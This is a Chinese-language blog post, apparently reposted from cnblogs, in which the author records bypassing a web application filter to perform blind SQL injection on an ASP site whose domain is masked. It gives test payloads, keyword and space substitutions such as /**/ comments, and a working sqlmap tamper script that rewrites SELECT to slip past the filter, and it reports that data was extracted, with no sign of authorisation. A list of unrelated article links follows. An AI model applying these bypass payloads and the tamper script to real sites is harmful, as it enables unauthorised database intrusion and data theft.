博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
记录一次sql注入绕过
阅读量:6824 次
发布时间:2019-06-26

本文共 753 字,大约阅读时间需要 2 分钟。

目标:http://www.xxxxx.net/temp.asp?ID=10359

通过 and 1=1 and 1=2 测试发现存在拦截

首先想到 and 空格 = 可能存在触发规则

一般遇到这种情况 过滤 and 一般会考虑转换为 &&

空格过滤转换为 %0a 、+ 或者 /**/

= 转换为 like greatest between 这些在sqlmap 都有相应的tamper

 

这里经过测试发现就是过滤了 空格,转换为 /**/ 就不拦截了

 

 

由于不能进行union 注入 和报错 这里只能进行盲注

 

然后使用 sqlmap  space2comment 进行注入的时候  sqlmap出不了数据

分析过滤了什么关键字

提交 

http://www.xxxxx.net/temp.asp?ID=10359/**/and/**/1=(select 1) 返回 

初步判断过滤了select  

测试发现将select 转换为 /**/select  绕过过滤

 

所以要让sqlmap 能出数据就要将注入语句里面的 SELECT 全部转换为 /**/SELECT

#!/usr/bin/env pythondef tamper(payload, **kwargs):    retVal = payload    if 'SELECT' in retVal:        retVal = retVal.replace('SELECT','/**/SELECT')    return retVal

命名为 select2select 放在sqlmap tamper 目录下面

成功注入出数据

去burp 查看语句

 

转载于:https://www.cnblogs.com/depycode/p/7360528.html

你可能感兴趣的文章
何勉:第一性原理和精益敏捷的规模化实施
查看>>
HDFS 文件格式——SequenceFile RCFile
查看>>
处理 Oracle SQL in 超过1000 的解决方案
查看>>
精致的JS提示
查看>>
Visual Studio.Net 2005中用SqlDataSource处理数据库特殊数据类型
查看>>
【CSS】创建布局
查看>>
docker进入容器的方式
查看>>
详解JavaScript闭包
查看>>
Oracle 介绍 (未完待续)
查看>>
pitch yaw roll是什么
查看>>
windows2003批量添加和导出所有ip
查看>>
消息服务介绍
查看>>
【Android 我的博客APP】1.抓取博客首页文章列表内容——网页数据抓取
查看>>
从Ubuntu12.04LTS到Foreda19再到Foreda8
查看>>
Qt之对话框设计——电子时钟
查看>>
JS:1.7,窗口(window)对象 window.close,window.open
查看>>
ASP.NET MVC 4 视图页去哪里儿
查看>>
队列,图,栈,树
查看>>
MHL技术剖析,比HDMI更强【转】
查看>>
ASP.NET MVC 5 学习教程:控制器传递数据给视图
查看>>